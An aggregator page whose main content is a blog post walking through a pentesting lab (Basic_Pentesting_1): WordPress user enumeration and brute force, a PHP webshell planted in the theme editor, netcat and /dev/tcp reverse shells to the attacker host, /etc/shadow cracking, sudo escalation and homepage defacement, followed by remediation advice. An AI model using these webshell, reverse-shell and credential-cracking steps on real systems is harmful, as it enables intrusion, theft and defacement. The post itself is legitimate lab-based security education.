惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

M
MIT News - Artificial intelligence
有赞技术团队
有赞技术团队
S
Schneier on Security
aimingoo的专栏
aimingoo的专栏
T
Troy Hunt's Blog
U
Unit 42
Hacker News - Newest:
Hacker News - Newest: "LLM"
V2EX - 技术
V2EX - 技术
T
The Blog of Author Tim Ferriss
V
Visual Studio Blog
H
Heimdal Security Blog
H
Hacker News: Front Page
Blog — PlanetScale
Blog — PlanetScale
博客园 - 司徒正美
Cloudbric
Cloudbric
Google DeepMind News
Google DeepMind News
C
Cisco Blogs
The Cloudflare Blog
C
Cybersecurity and Infrastructure Security Agency CISA
Microsoft Security Blog
Microsoft Security Blog
MyScale Blog
MyScale Blog
F
Fortinet All Blogs
N
News | PayPal Newsroom
Attack and Defense Labs
Attack and Defense Labs
D
DataBreaches.Net
N
News and Events Feed by Topic
Security Archives - TechRepublic
Security Archives - TechRepublic
Forbes - Security
Forbes - Security
Simon Willison's Weblog
Simon Willison's Weblog
F
Full Disclosure
The Register - Security
The Register - Security
L
LINUX DO - 热门话题
Webroot Blog
Webroot Blog
Google Online Security Blog
Google Online Security Blog
AI
AI
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
I
Intezer
S
Security Affairs
阮一峰的网络日志
阮一峰的网络日志
K
Kaspersky official blog
云风的 BLOG
云风的 BLOG
博客园 - 叶小钗
T
Threatpost
Spread Privacy
Spread Privacy
小众软件
小众软件
AWS News Blog
AWS News Blog
S
Secure Thoughts
S
Security @ Cisco Blogs
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
J
Java Code Geeks

DEV Community

Authentication Security Deep Dive: From Brute Force to Salted Hashing (With Java Examples) Why AI Systems Don’t Fail — They Drift Spilling beans for how i learn for exam😁"Reinforcement Learning Cheat Sheet" I Replaced Chrome with Safari for AI Browser Automation. Here's What Broke (and What Finally Worked) How Python Borrows Other People's Work The $40 Architecture: Processing 1 Billion API Requests with 99.99% Uptime Vibe Coding: A Workflow Guide (From Zero to SaaS) Most webhook security guides protect the wrong side. The scary part is delivery. Headless CMS for TanStack Start: Build a Blog with Cosmic EU Age Verification App "Hacked in 2 Minutes" — What Actually Happened Comfy Cloud’s delete function does not actually remove files Running AI Models on GPU Cloud Servers: A Beginner Guide Event-driven media intelligence with AWS Step Functions and Bedrock I scored 500 AI prompts across 8 quality dimensions — here's what broke How to Call Google Gemini API from Next.js (Free Tier, No Backend Needed) The Portal Protocol: Reclaiming Human Connection in the Age of AI How to Fix Your Team's Scattered Knowledge Problem With a Self-Hosted Forum Intro to tc Cloud Functors: A Graph-First Mental Model for the Modern Cloud Designing Multi-Tenant Backends With Both Ownership and Team Access I Built a Neumorphic CSS Library with 77+ Components — Here's What I Learned PostgreSQL Performance Optimization: Why Connection Pooling Is Critical at Scale Cómo construí un SaaS multi-rubro para gestionar expensas en Argentina con FastAPI + Vue 3 🚀 I Built an Ethical Hacking Scanner Tool – Open Source Project I Replaced /usage and /context in Claude Code With a Single Statusline A Pythonic Way to Handle Emails (IMAP/SMTP) with Auto-Discovery and AI-Ready Design I Collected 8.9 Million Polymarket Price Points — Here's What I Found About How Markets Really Move EcoTrack AI — Carbon Footprint Tracker & Dashboard Everyone's Using AI. No One Agrees How. 5 self-hosted ebook managers worth trying in 2026 Building Your First AI Agent with LangChain: From Chatbot to Autonomous Assistant Common SOC 2 Failures (Real World) Stop Vibe-Checking Your AI App: A Practical Guide to Evals How to Use SonarQube and SonarScanner Locally to Level Up Your Code Quality Your Next To-Do App Is Dead — I Replaced Mine with an OpenClaw AI Sign a Nostr event in 60 lines of Python using coincurve — no nostr-sdk, no nbxplorer, no rust toolchain ITGC Audit Explained Like You’re in Big 4 Patch Tuesday abril 2026: Microsoft parcha 163 vulnerabilidades y un zero-day en SharePoint Stop scraping everything: a better way to track competitor price changes Listing on MCPize + the Official MCP Registry while routing payments OUTSIDE the marketplace — how I kept 100% of my x402 revenue Building an AI-Powered Risk Intelligence System Using Serverless Architecture Why We Ripped Function Overloading Out of Our AI Toolchain Testing AI-Generated Code: How to Actually Know If It Works SaaS Churn Is Killing Your Business. Here Is What to Do About It (Without a Support Team) The Speed of AI Is No Longer Linear - And Self-Improving Models Are Why How to Implement RBAC for MCP Tools: A Practical Guide for Engineering Teams From Standard Quote to Persuasive Proposal: AI Automation for Arborists I built a CLI that scaffolds complete multi-tenant SaaS apps Axios CVE-2025–62718: The Silent SSRF Bug That Could Be Hiding in Your Node.js App Right Now The dashboard that ended our friendship Data Pipelines Explained Simply (and How to Build Them with Python) The Hidden Cost of AI Systems Nobody Talks About. undefined vs undeclared, and how typeof behaves Switching from file-based jobs to NATS/Kafka in Rust without changing code io_uring Adventures: Rust Servers That Love Syscalls Why Agentic AI is Killing the Traditional Database The POUR principles of web accessibility for developers and designers Quantum Neural Network 3D — A Deep Dive into Interactive WebGL Visualization How To Install Caveman In Codex On macOS And Windows Automation Pipeline Reliability: Why Your Workflow Breaks When Nobody Is Watching I Built an 'Open World' AI Coding Agent — It Works From ANY Folder From Freelancing to Product: A Tech Service Company's SaaS Transformation China's AI Giants: Adding Tencent Hunyuan & ByteDance Doubao to AI University (74 Providers) On the Vibe Coders and Their Lies clerk: Auto-Summarize Your Claude Code Sessions AI Weekly — 2026/04/10–04/17 | The Model Lockdown Is Here, but the Toolchain Is the Real Battleground AI 週報 — 2026/04/10–2026/04/17 模型封鎖潮來了,但工具鏈才是真戰場 Maybe this is how Open-Source apps are born... 🚀 Fine-Tune LLMs with LoRA and QLoRA: 2026 Guide tRPC v11 + Next.js App Router: End-to-End Type Safety Without the Boilerplate ShadCN UI in 2026: Why I Stopped Installing Component Libraries and Started Owning My Components SaaS Billing in React Server Components: Stripe + Supabase Without a Single `useEffect` Join our DEV Weekend Challenge — $1,000 in Prizes Across TEN winners! Submissions Due April 20 at 6:59 AM UTC. Implementing FSRS Spaced Repetition in Flutter + Supabase — Adding Memory Science to an AI Learning App "I Texted My Localhost From the Train — Claude Code Fixed the Bug Before I Got Home" I Built a Sales Prep AI and It Went Deeper Than Expected Design to Code #2: One JSON, Eleven Outputs Solving the 100M-Row Problem: A Summary Table Pattern for High-Volume Push Notification Logs Flutter Web With Wasm: What Actually Changes For Developers I Built 50 Royalty-Free Soundtracks for My Side Project in a Weekend Using AI Music Generation The Vibe Coding Security Checklist: 7 Things to Check Before You Ship Stop Letting Googlebot Guess Fix Your React App's SEO Right Desconstruindo o Streaming do LinkedIn: Como Criar um Engine de Extração de Vídeo de Alta Performance com HLS e FFmpeg (EDA Part-1) EDA (Exploratory Data Analysis) Explained With Real Life — Why Looking at Your Data Is the Most Important Step in Machine Learning Brand Relationship Management at Scale: Our 4-Touch Outreach System for 200+ Brands Why String.fromEnvironment() Might Return an Empty String in Dart JGuardrails 1.0.0 — Hardening Java LLM Apps Against Jailbreaks, Toxicity, and Prompt Injection Plan and Schedule a Full Week of Threads Content From One Claude Conversation Coding Cat Oran Ep3, Five Tables Changed Everything Updated: BFF Pattern I'm done watching freelancers get buried by 200 proposals. So I'm building the alternative. This is my first post BFS Algorithm in Java Step by Step Tutorial with Examples Tracking LLM Pricing Monthly: An Open Dataset for 22 AI Models How We Measure Content ROI on a Comparison Site: Revenue Attribution Without Perfect Data Introducing Nova AI Ops: The AI-Native Operating System for SRE Teams I built a free desktop video downloader for Windows — Grabbit How Talkie OCR Helps Vision-Impaired & Dyslexic Users Read the World Around Them VRCFaceTracking安装和iPhone面捕配置教程,有bug Even CrowdStrike Can't See Your Agents The Automation Gold Rush: What n8n Workflows and Claude Are Opening Up for Developers Right Now
From WordPress Login to Root - A Full Pentesting Lab Walkthrough
Saumya Aggarwal · 2026-06-02 · via DEV Community

⚠️ Disclaimer: Everything here was done in an isolated virtual lab environment (VirtualBox VMs with no internet access). No real systems were involved. This is purely for learning how attacks happen — so defenders know what to protect against.


I kept hearing about website defacements in the news. Indian government portals getting their homepages replaced with political messages. Hospital websites going down. It always felt distant — until I decided actually to understand how it happens.

So I spun up a vulnerable VM (Basic_Pentesting_1) and tried to break it myself. Took me from zero — a blank network — to full root access and a defaced homepage.

Here's everything I did.


Lab Setup

Role Machine
Attacker Kali Linux (VirtualBox VM)
Target Ubuntu VM running WordPress
Network NAT Network — fully isolated, no internet

The target runs Apache, WordPress, FTP (ProFTPD), and SSH. The goal: get root.


The Attack Path at a Glance

Find target on network
        ↓
Port scan
        ↓
Find WordPress installation
        ↓
Map hostname in /etc/hosts
        ↓
Enumerate WordPress users
        ↓
Brute-force password
        ↓
WordPress admin access
        ↓
    ┌─────────────────────┐
    │   Pick your path:   │
    │  A) Manual webshell │
    │  B) Metasploit      │
    └─────────────────────┘
        ↓
Shell as www-data
        ↓
Read /etc/shadow (misconfiguration!)
        ↓
Crack password — John the Ripper
        ↓
SSH as marlinspike
        ↓
sudo -l → sudo bash
        ↓
       ROOT
        ↓
Website defaced


Step 1 — Find the Target

First thing: figure out what machines are on the network.

netdiscover

netdiscover sends ARP requests across the subnet and listens for responses. Nothing fancy — it's just asking "who's here?" to every address.

Output:

Currently scanning: 10.0.2.0/24   |   Screen View: Unique Hosts

 3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 -----------------------------------------------------------------------------
 10.0.2.1        52:54:00:12:35:00      1      60  Unknown vendor
 10.0.2.2        52:54:00:12:35:00      1      60  Unknown vendor
 10.0.2.5        08:00:27:a1:b2:c3      1      60  PCS Systemtechnik GmbH

10.0.2.5 is the target. The .1 and .2 are the gateway and DNS — ignore them.


Step 2 — Port Scan (Nmap)

Now figure out what's actually running on 10.0.2.5.

sudo nmap -O -sV -sC -Pn 10.0.2.5

Flag What it does
-O Try to guess the OS
-sV Detect service versions
-sC Run default scripts (banners, common misconfigs)
-Pn Skip the ping check, just scan

Output:

PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.3c
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))

Three open ports — FTP, SSH, and a web server.

The web server is almost always the easiest entry point. That's where we focus.

Note on FTP: ProFTPD 1.3.3c is an old version with known vulnerabilities (including a backdoor that Metasploit can hit directly). We didn't need it this time — but keep it in mind as a backup if the web route was a dead end.


Step 3 — Find the WordPress Install (dirb)

dirb http://10.0.2.5/

dirb runs through a wordlist and brute-forces common directory names against the server — /admin, /login, /secret, etc.

Output:

---- Scanning URL: http://10.0.2.5/ ----
+ http://10.0.2.5/index.html (CODE:200|SIZE:11321)
==> DIRECTORY: http://10.0.2.5/secret/
---- Entering directory: http://10.0.2.5/secret/ ----
+ http://10.0.2.5/secret/wp-login.php (CODE:200|SIZE:2482)
+ http://10.0.2.5/secret/wp-admin/ (CODE:302|SIZE:0)
==> DIRECTORY: http://10.0.2.5/secret/wp-content/
==> DIRECTORY: http://10.0.2.5/secret/wp-includes/

There's a WordPress install hiding at /secret/. The wp-login.php and wp-admin/ confirm it.


Step 4 — Fix the Hostname

If you try loading http://10.0.2.5/secret/ in a browser, it'll look broken — missing CSS, weird redirects. That's because WordPress is configured to serve content using the hostname vtcsec, not the raw IP.

Fix it by mapping the hostname locally on Kali:

sudo nano /etc/hosts

Add this line at the bottom:

10.0.2.5    vtcsec

Save and close. Now http://vtcsec/secret/ loads properly — full WordPress login page.


Step 5 — Find Usernames (WPScan)

WPScan is built specifically for WordPress. By default, WordPress leaks usernames through author URLs and login error messages.

wpscan --url http://vtcsec/secret --enumerate u

Output:

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:01 <=====> (10 / 10) 100.00%

[i] User(s) Identified:

[+] admin
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Login Error Messages (Aggressive Detection)

Username: admin.


Step 6 — Brute-Force the Password

We have a username. Now we throw a wordlist at it.

wpscan --url http://vtcsec/secret \
  --usernames admin \
  --passwords /usr/share/wordlists/rockyou.txt

rockyou.txt is a real password list from a 2009 data breach — around 14 million passwords. It's the standard starting point for any credential attack.

Output:

[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - admin / admin

[i] Valid Combinations Found:
 | Username: admin, Password: admin

The password was admin.

Not Admin123. Not P@ssw0rd. Just admin.

This is the part that gets me. You can have the best server hardening in the world — and one weak admin password tears all of it down.


Step 7 — Log In

Go to:

http://vtcsec/secret/wp-admin

Login with admin / admin. You're in.

But WordPress admin access isn't the same as Linux shell access. We need to go deeper.


Step 8 — Get a Shell

This is where you can pick your approach. Both paths end up at the same place.


Path A — Manual (PHP Webshell via Theme Editor)

WordPress has a built-in PHP file editor for themes. That's a serious security risk in production — and exactly what we're about to exploit.

Go to:

Appearance → Theme File Editor → 404.php

Scroll to the bottom and add this one line:

<?php system($_GET['cmd']); ?>

Click Update File.

What this does: when the 404 template loads, PHP runs whatever command you pass in the cmd URL parameter. That's Remote Code Execution (RCE).

Test it:

http://vtcsec/secret/index.php/aaaaa?cmd=whoami

The aaaaa path doesn't exist — it triggers a 404, loading our modified template.

Output in browser:

www-data

We have code execution as www-data (the Apache process user). Now let's turn this into an actual interactive shell.

Set up a listener on Kali:

nc -lvnp 4444

Now trigger the reverse shell. I first tried the classic bash one-liner:

http://vtcsec/secret/index.php/aaaaa?cmd=bash -c 'bash -i >%26 /dev/tcp/10.0.2.4/4444 0>%261'

This didn't work. The Ubuntu target's default sh didn't support the -i >& /dev/tcp syntax the way I expected — and the & characters cause encoding headaches in URLs.

So I switched to a FIFO reverse shell — it's more reliable and doesn't depend on shell-specific flags:

http://vtcsec/secret/index.php/aaaaa?cmd=rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/sh+-i+2>%261|nc+10.0.2.4+4444+>/tmp/f

URL-decoded, that command is:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.2.4 4444 >/tmp/f

What's happening here:

Part What it does
rm /tmp/f Delete the pipe if it already exists
mkfifo /tmp/f Create a named pipe (FIFO) at /tmp/f
cat /tmp/f Read from the pipe — blocks and waits
`\ /bin/sh -i 2>&1`
`\ nc 10.0.2.4 4444`
>/tmp/f Write Kali's input back into the pipe

It's a loop. Your commands on Kali go → into the pipe → into the shell → output comes back to you. Doesn't need nc -e.

Back on your Kali terminal:

listening on [any] 4444 ...
connect to [10.0.2.4] from [10.0.2.5] 57412
/bin/sh: 0: can't access tty; job control turned off
$

Shell. ✅


Path B — Metasploit (wp_admin_shell_upload)

If you already have WordPress admin credentials, Metasploit has a module that automates the whole process.

msfconsole
search wp_admin
use exploit/unix/webapp/wp_admin_shell_upload

Configure it:

set RHOSTS 10.0.2.5
set TARGETURI /secret
set USERNAME admin
set PASSWORD admin
run

Output:

[*] Started reverse TCP handler on 10.0.2.4:4444
[*] Authenticating with WordPress using admin:admin...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /secret/wp-content/plugins/...
[+] Deleted temp plugin file
[*] Sending stage (39927 bytes) to 10.0.2.5
[*] Meterpreter session 1 opened

meterpreter > shell
Process 1 created.
Channel 1 created.
/bin/sh: 0: can't access tty; job control turned off
$

Same result — you're inside as www-data.


Step 9 — Look Around

Both paths meet here. You're www-data on the target machine.

whoami

www-data

Check who else is on the system:

cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
...
marlinspike:x:1000:1000:,,,:/home/marlinspike:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

Interesting. There's a real user called marlinspike with a home directory and a real shell.

Now the check that shouldn't work — but does:

cat /etc/shadow

root:$6$3GAVhGlB$DEF...hashed...password:17298:0:99999:7:::
marlinspike:$6$7yR1Kz2B$ABC...hashed...password:17298:0:99999:7:::

This worked.

/etc/shadow stores hashed passwords for all users on the system. Normally only root can read it. But the file permissions were misconfigured — www-data could read it too.

That's a critical mistake. One wrong permission on one file, and an attacker has every password hash on the system.


Step 10 — Crack the Passwords (John the Ripper)

Copy the output of /etc/passwd and /etc/shadow into two files on Kali:

# save output to files manually, or use:
cat /etc/passwd > passwd.txt
cat /etc/shadow > shadow.txt

Combine them with unshadow (formats things the way John expects):

unshadow passwd.txt shadow.txt > combined.txt

Now crack:

john combined.txt

Output:

Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 512/512 AVX512BW 8x])
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
marlinspike      (marlinspike)
1g 0:00:00:03 DONE (2023-05-29 14:32) 0.2941g/s 512.0p/s

Password: marlinspike. The username was the password.


Step 11 — SSH in as marlinspike

ssh marlinspike@vtcsec

Enter marlinspike when it asks for the password.

marlinspike@vtcsec:~$

Stable SSH shell. No more janky reverse connection hanging in a terminal.


Step 12 — Escalate to Root

Check what sudo privileges this user has:

sudo -l

Matching Defaults entries for marlinspike on vtcsec:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User marlinspike may run the following commands on vtcsec:
    (ALL : ALL) ALL

(ALL : ALL) ALL — this user can run any command as any user, including root.

sudo bash

root@vtcsec:~#

whoami

root

Done. Full root access.


Step 13 — Defacement (Post-Exploitation Demo)

To show what an attacker could actually do with root:

cd /var/www/html
mv index.html index_backup.html
echo "<h1>You Have Been Hacked!</h1>" > index.html

Visit http://vtcsec — the homepage is now defaced. In a real attack, this is usually when an organization first notices something went wrong.


What Actually Failed Here

This machine didn't fall because of a sophisticated exploit. It fell because five small, boring mistakes all existed at the same time:

  1. admin:admin credentials — WPScan broke this in under a minute
  2. WordPress Theme Editor left on — One line of PHP → full RCE on the server
  3. /etc/shadow readable by www-data — A single file permission mistake handed us every password hash
  4. marlinspike:marlinspike password — Cracked in 3 seconds by a dictionary attack
  5. (ALL:ALL) ALL sudo privileges — A web server user should never be able to sudo bash

No single one of these is a catastrophic vulnerability. Together, they're a straight road from "I found a web server" to "I own the machine."


How to Fix It

Problem Fix
Weak WordPress credentials Strong passwords, limit login attempts
Theme Editor enabled Add define('DISALLOW_FILE_EDIT', true); to wp-config.php
/etc/shadow permissions chmod 640 /etc/shadow — readable only by root and shadow group
Weak system password Strong, unique password — lock accounts after failed attempts
Excessive sudo Least privilege — only give sudo for what the user actually needs

Tools Used

Tool What it did
netdiscover Found the target on the network
nmap Scanned ports and detected services
dirb Found the WordPress install
wpscan Enumerated users and brute-forced credentials
nc (Netcat) Reverse shell listener
john + unshadow Cracked the hashed password
ssh Stable access as marlinspike

What I'd Try Next

The FTP service (ProFTPD 1.3.3c) was another possible entry point I didn't need this time. That version has a known backdoor that Metasploit can hit directly with exploit/unix/ftp/proftpd_133c_backdoor — which would skip the WordPress phase entirely and drop you straight into a shell. Worth trying if you're running this lab yourself.


  • Just documenting what I'm learning in cybersecurity. Next up: PortSwigger Web Security Academy and more structured privilege escalation practice.*

#security #linux #wordpress #beginners #tutorial